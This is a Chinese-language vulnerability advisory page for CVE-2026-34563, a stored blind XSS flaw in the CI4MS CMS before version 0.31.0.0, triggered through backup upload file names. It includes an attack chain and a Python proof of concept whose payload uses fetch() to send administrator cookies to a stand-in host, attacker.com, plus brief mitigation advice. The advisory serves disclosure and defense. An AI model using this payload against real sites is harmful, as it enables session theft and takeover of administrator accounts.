IPBUF安全漏洞报告
English
CVE-2026-34563 CVSS 9.1 严重

CVE-2026-34563 CI4MS 存储型盲XSS漏洞

披露日期: 2026-04-01

漏洞信息

漏洞编号
CVE-2026-34563
漏洞类型
存储型跨站脚本
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
CI4MS

相关标签

XSS存储型XSSCI4MSCodeIgniterWeb安全Blind XSS

漏洞概述

CI4MS是一款基于CodeIgniter 4的CMS系统。在0.31.0.0版本之前,该应用在处理备份上传和元数据时未能正确清理用户输入。攻击者可通过上传包含恶意载荷的xss.sql文件,利用SQL功能将XSS代码注入到服务器端的备份文件名中。该载荷随后在多个备份管理视图中被不安全渲染,导致存储型盲XSS漏洞,攻击者可窃取管理员敏感信息。

技术细节

该漏洞的核心在于CI4MS对备份文件上传处理的输入验证机制缺失。具体而言,攻击者可构造一个特制的`xss.sql`文件,并在上传过程中利用文件名或文件内容中的SQL功能,将恶意的JavaScript Payload注入到数据库的备份记录字段中。由于系统未对存储的元数据进行服务器端过滤,该Payload被持久化保存。当具有高权限的管理员访问后台备份管理列表时,应用程序会从数据库读取备份文件名并直接渲染到HTML页面中,且未进行任何HTML实体编码或输出转义。这导致恶意脚本在管理员浏览器上下文中执行。由于攻击点位于后台,这通常被归类为盲XSS,攻击者可通过外带数据的方式捕获Session或Cookie。

攻击链分析

STEP 1
步骤1
攻击者注册或获取一个低权限账户(PR:L)。
STEP 2
步骤2
构造包含恶意JavaScript Payload的`xss.sql`文件,通过备份上传接口发送至服务器。
STEP 3
步骤3
服务器端处理备份文件时,利用SQL功能将Payload注入并存储到数据库的备份元数据中。
STEP 4
步骤4
管理员登录系统并访问备份管理页面。
STEP 5
步骤5
页面渲染未经转义的备份文件名,触发XSS攻击,恶意代码执行并将管理员Cookie发送给攻击者。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept for CVE-2026-34563 # This script simulates uploading a malicious backup file to trigger Stored XSS import requests def exploit(target_url, attacker_listener): # The XSS payload to steal admin cookies xss_payload = f"<img src=x onerror=fetch('{attacker_listener}?c='+document.cookie)>" # Construct the malicious SQL file name # The application uses SQL functionality to process this, leading to injection malicious_filename = f"backup_{xss_payload}.sql" upload_url = f"{target_url}/admin/backup/upload" # Dummy content for the SQL file file_content = "-- Malicious backup file" files = { 'file': (malicious_filename, file_content, 'text/plain') } # Attacker needs low privileges (PR:L) to perform this action credentials = {'username': 'attacker', 'password': 'password'} try: print(f"[*] Uploading malicious backup to {upload_url}...") response = requests.post(upload_url, files=files, data=credentials) if response.status_code == 200: print("[+] Upload successful. XSS Payload stored in database.") print("[*] Wait for an administrator to view the Backup Management page.") else: print(f"[-] Upload failed. Status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": target = "http://ci4ms-local.com" listener = "http://attacker.com/collect" exploit(target, listener)

影响范围

CI4MS < 0.31.0.0

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用非管理员用户的备份上传功能,并部署Web应用防火墙(WAF)规则以检测和拦截针对备份管理接口的恶意脚本注入请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表